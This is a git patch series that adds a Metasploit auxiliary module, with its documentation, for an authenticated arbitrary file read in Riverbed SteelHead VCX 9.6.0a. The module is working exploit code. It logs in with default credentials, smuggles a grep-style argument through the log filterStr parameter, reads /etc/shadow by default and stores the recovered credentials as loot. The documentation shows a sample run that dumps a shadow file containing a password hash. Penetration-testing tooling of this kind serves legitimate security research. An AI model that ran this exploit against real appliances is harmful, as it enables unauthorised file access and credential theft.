From ea5db9a0394c7c08b3f6612cac8d2de7027761c2 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 2 Jun 2017 23:09:19 -0400 Subject: [PATCH 1/3] working module --- .../http/riverbed_steelhead_vcx_file_read.md | 57 ++++++++ .../http/riverbed_steelhead_vcx_file_read.rb | 132 ++++++++++++++++++ 2 files changed, 189 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.md create mode 100644 modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb diff --git a/documentation/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.md b/documentation/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.md new file mode 100644 index 0000000000..e88b6ee725 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.md @@ -0,0 +1,57 @@ +This module exploits an authenticated arbitrary file read in the log module's filter engine. + +## Vulnerable Application + +The application is available for a 90 day evaluation after free registration from +[riverbed](https://www.riverbed.com/gb/products/steelhead/Free-90-day-Evaluation-SteelHead-CX-Virtual-Edition.html). +Downloads are available for Hyper-V, ESX(i), and KVM. Installation is straight forward, initial login is `admin`/`password`. +If need be from cli, to show the IP address of the device: `show interfaces primary` + +This module was successfully tested against: + +- SteelHead VCX (VCX255U) 9.6.0a + +## Verification Steps + +1. Do: ```auxiliary/scanner/http/riverbed_steelhead_vcx_file_read``` +2. Do: ```set RHOSTS [IP]``` +3. Set TARGETURI if necessary. +3. Set FILE if necessary. +3. Set USERNAME if necessary. +3. Set PASSWORD if necessary. +4. Do: ```run``` + +## Scenarios + +### SteelHead VCX255u 9.6.0a running on ESXi + +``` +resource (riverbed.rc)> use auxiliary/scanner/http/riverbed_steelhead_vcx_file_read +resource (riverbed.rc)> set rhosts 192.168.2.198 +rhosts => 192.168.2.198 +resource (riverbed.rc)> set verbose true +verbose => true +resource (riverbed.rc)> run +[*] CSRF Token: 18PK64EKpo4d6y0X5ZOMYJ3fxfYZKfrN +[+] Authenticated Successfully +[+] File Contents: +admin:$6$sKOU5moa$B2szxiSEzq6ZmHZw01CMf64WlzvqIgCYETeXzF1ItxZ5soOJNVXdE2H5N19t0cPeGDf/LGvRymgQHAxgojr6u1:10000:0:99999:7::: +administrator:*:10000:0:99999:7::: +apache:*:10000:0:99999:7::: +localvixuser:*:10000:0:99999:7::: +named:*:10000:0:99999:7::: +nobody:*:10000:0:99999:7::: +ntp:*:10000:0:99999:7::: +pcap:*:10000:0:99999:7::: +postgres:*:10000:0:99999:7::: +rcud:*:10000:0:99999:7::: +root:*:10000:0:99999:7::: +rpc:*:10000:0:99999:7::: +shark:*:10000:0:99999:7::: +sshd:*:10000:0:99999:7::: +statsd:*:10000:0:99999:7::: +webproxy::10000:0:99999:7::: +[+] Stored /etc/shadow to /root/.msf4/loot/20170602230238_default_192.168.2.198_host.file_311580.txt +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb b/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb new file mode 100644 index 0000000000..24a63c79e0 --- /dev/null +++ b/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'json' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Riverbed SteelHead VCX File Read', + 'Description' => %q{ + This module exploits an authenticated arbitrary file read in the log module's filter engine. + SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable. + }, + 'References' => + [ + ['EDB', '42101'] + ], + 'Author' => + [ + 'Gregory DRAPERI ', # Exploit + 'h00die' # Module + ], + 'DisclosureDate' => 'Jun 01 2017', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('FILE', [ true, 'Remote file to view', '/etc/shadow']), + OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']), + OptString.new('USERNAME', [true, 'Username', 'admin']), + OptString.new('PASSWORD', [true, 'Password', 'password']), + ]) + end + + def run_host(ip) + + # pull our csrf + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'login'), + 'method' => 'GET', + 'vars_get' => { + 'next' => '/' + } + }, 25) + + unless res + print_error("#{full_uri} - Connection timed out") + return + end + + cookie = res.get_cookies + csrf = cookie.scan(/csrftoken=(\w+);/).flatten[0] + vprint_status("CSRF Token: #{csrf}") + + # authenticate + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'login'), + 'method' => 'POST', + 'cookie' => cookie, + 'ctype' => 'application/x-www-form-urlencoded;', + 'vars_post' => { + 'csrfmiddlewaretoken' => csrf, + '_fields' => JSON.generate({ + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'legalAccepted' => 'N/A', + 'userAgent' => '' + }) + } + }, 25) + + unless res + print_error("#{full_uri} - Connection timed out") + return + end + + if res.code == 400 + print_error('Failed Authentication') + return + elsif res.code == 200 + vprint_good('Authenticated Successfully') + end + + # pull the file + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'), + 'method' => 'GET', + 'cookie' => res.get_cookies, + 'vars_get' => { + 'filterStr' => "msg:-e .* #{datastore['FILE']}" + } + }, 25) + + unless res + print_error("#{full_uri} - Connection timed out") + return + end + + if res && res.body + result = JSON.parse(res.body) + unless result.has_key?('web3.model') + print_error('Invalid JSON returned') + return + end + reconstructed_file = [] + # so the format is super icky here. It makes a hash table for each row in the file. then the 'msg' field starts with + # the file name. It also, by default, includes other files, so we need to check we're on the right file. + result['web3.model']['messages']['rows'].each do |row| + if row['msg'].start_with?(datastore['FILE']) + reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip() + end + end + if reconstructed_file.any? + reconstructed_file = reconstructed_file.join("\n") + vprint_good("File Contents:\n#{reconstructed_file}") + stored_path = store_loot('host.file', 'text/plain', rhost, reconstructed_file, datastore['FILE']) + print_good("Stored #{datastore['FILE']} to #{stored_path}") + else + print_error("File not found or empty file: #{datastore['FILE']}") + end + end + end +end From de86c5d991674232103e9d4de0881e29d82f4470 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 4 Jun 2017 17:46:43 -0400 Subject: [PATCH 2/3] add storing creds and loot name consistency --- .../scanner/http/riverbed_steelhead_vcx_file_read.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb b/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb index 24a63c79e0..51e0a349a4 100644 --- a/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb +++ b/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb @@ -88,13 +88,15 @@ class MetasploitModule < Msf::Auxiliary return elsif res.code == 200 vprint_good('Authenticated Successfully') + cookie = res.get_cookies + store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie) end # pull the file res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'modules/common/logs'), 'method' => 'GET', - 'cookie' => res.get_cookies, + 'cookie' => cookie, 'vars_get' => { 'filterStr' => "msg:-e .* #{datastore['FILE']}" } @@ -122,7 +124,7 @@ class MetasploitModule < Msf::Auxiliary if reconstructed_file.any? reconstructed_file = reconstructed_file.join("\n") vprint_good("File Contents:\n#{reconstructed_file}") - stored_path = store_loot('host.file', 'text/plain', rhost, reconstructed_file, datastore['FILE']) + stored_path = store_loot('host.files', 'text/plain', rhost, reconstructed_file, datastore['FILE']) print_good("Stored #{datastore['FILE']} to #{stored_path}") else print_error("File not found or empty file: #{datastore['FILE']}") From a349eb9a0db103c4299f86003cc4f98723afaacb Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 10 Jun 2017 14:29:53 -0400 Subject: [PATCH 3/3] fixes per peer review --- .../scanner/http/riverbed_steelhead_vcx_file_read.rb | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb b/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb index 51e0a349a4..c3b32b03a0 100644 --- a/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb +++ b/modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'json' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,6 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - Opt::RPORT(80), OptString.new('FILE', [ true, 'Remote file to view', '/etc/shadow']), OptString.new('TARGETURI', [true, 'Vulnerable URI path', '/']), OptString.new('USERNAME', [true, 'Username', 'admin']), @@ -42,7 +39,6 @@ class MetasploitModule < Msf::Auxiliary end def run_host(ip) - # pull our csrf res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'login'), @@ -66,7 +62,6 @@ class MetasploitModule < Msf::Auxiliary 'uri' => normalize_uri(datastore['TARGETURI'], 'login'), 'method' => 'POST', 'cookie' => cookie, - 'ctype' => 'application/x-www-form-urlencoded;', 'vars_post' => { 'csrfmiddlewaretoken' => csrf, '_fields' => JSON.generate({ @@ -108,7 +103,7 @@ class MetasploitModule < Msf::Auxiliary end if res && res.body - result = JSON.parse(res.body) + result = res.get_json_document unless result.has_key?('web3.model') print_error('Invalid JSON returned') return @@ -118,7 +113,7 @@ class MetasploitModule < Msf::Auxiliary # the file name. It also, by default, includes other files, so we need to check we're on the right file. result['web3.model']['messages']['rows'].each do |row| if row['msg'].start_with?(datastore['FILE']) - reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip() + reconstructed_file << row['msg'].gsub("#{datastore['FILE']}:",'').strip end end if reconstructed_file.any? @@ -131,4 +126,5 @@ class MetasploitModule < Msf::Auxiliary end end end + end